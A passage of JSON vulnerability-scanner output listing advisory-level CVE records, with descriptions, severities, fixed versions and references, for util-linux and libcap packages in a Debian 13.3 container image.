"VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91f5c15416bf8d2e398d34df097d16931d9c23abb0a043dacdd4cf4f9b7970b0", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d95c0db14ca17a34037d519d115b478b4e4758cc641348d172849ec4ad9dda7f", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:26c6475fbbe73a17538a82dbf5343c448406ff5831a8b07a987f6c59b25adb21", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4df01a281cb151f3ee7433879c50161564a56c469e0960b22285a5035b0471ed", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:51bcbd29283e0580eff384c6a730367ce72153527b4a8caad0e474f000db5c61", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:161d68ef6b80b8d8378271c9d37baa9398115ac06a250d37ec29b57808b85869", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-4878", "PkgID": "libcap2@1:2.75-10+b3", "PkgName": "libcap2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcap2@2.75-10%2Bb3?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "976844a25da6670e" }, "InstalledVersion": "1:2.75-10+b3", "FixedVersion": "1:2.75-10+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-4878", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a0da789836fc18fd7019dc2915967764a45fb0e3cc447ac4fbbb4f40d0c9c67c", "Title": "libcap: libcap: Privilege escalation via TOCTOU race condition in cap_set_file()", "Description": "A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the `cap_set_file()` function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-4878", "http://www.openwall.com/lists/oss-security/2026/04/07/14", "http://www.openwall.com/lists/oss-security/2026/04/07/4", "http://www.openwall.com/lists/oss-security/2026/04/08/9", "http://www.openwall.com/lists/oss-security/2026/04/09/5", "http://www.openwall.com/lists/oss-security/2026/04/09/6", "https://access.redhat.com/errata/RHSA-2026:12423", "https://access.redhat.com/errata/RHSA-2026:12441", "https://access.redhat.com/errata/RHSA-2026:13285", "https://access.redhat.com/errata/RHSA-2026:14162", "https://access.redhat.com/errata/RHSA-2026:14937", "https://access.redhat.com/errata/RHSA-2026:19130", "https://access.redhat.com/errata/RHSA-2026:19346", "https://access.redhat.com/errata/RHSA-2026:19456", "https://access.redhat.com/errata/RHSA-2026:19458", "https://access.redhat.com/errata/RHSA-2026:20595", "https://access.redhat.com/errata/RHSA-2026:21254", "https://access.redhat.com/errata/RHSA-2026:21275", "https://access.redhat.com/errata/RHSA-2026:22634", "https://access.redhat.com/errata/RHSA-2026:22957", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:24346", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:25096", "https://access.redhat.com/errata/RHSA-2026:25181", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:27998", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:7473", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-4878", "https://bugzilla.redhat.com/2451615", "https://bugzilla.redhat.com/show_bug.cgi?id=2447554", "https://bugzilla.redhat.com/show_bug.cgi?id=2451615", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-4878", "https://errata.almalinux.org/9/ALSA-2026-19346.html", "https://errata.rockylinux.org/RLSA-2026:19346", "https://github.com/AndrewGMorgan/libcap_mirror/security/advisories/GHSA-f78v-p5hx-m7hh", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/14.5.0/BRSA-b8okc9cb56gk.toml", "https://linux.oracle.com/cve/CVE-2026-4878.html", "https://linux.oracle.com/errata/ELSA-2026-19346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-4878", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4878.json", "https://sites.google.com/site/fullycapable/release-notes-for-libcap#h.x4zn8j3lss6r", "https://ubuntu.com/security/notices/USN-8193-1", "https://ubuntu.com/security/notices/USN-8193-2", "https://www.cve.org/CVERecord?id=CVE-2026-4878" ], "PublishedDate": "2026-04-09T16:16:31.987Z", "LastModifiedDate": "2026-11-04T23:17:39.403Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f4610435cdda1e801fa92cd1f4e7616d3e66654d4ab1d14f7902d0143a848ec1", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", 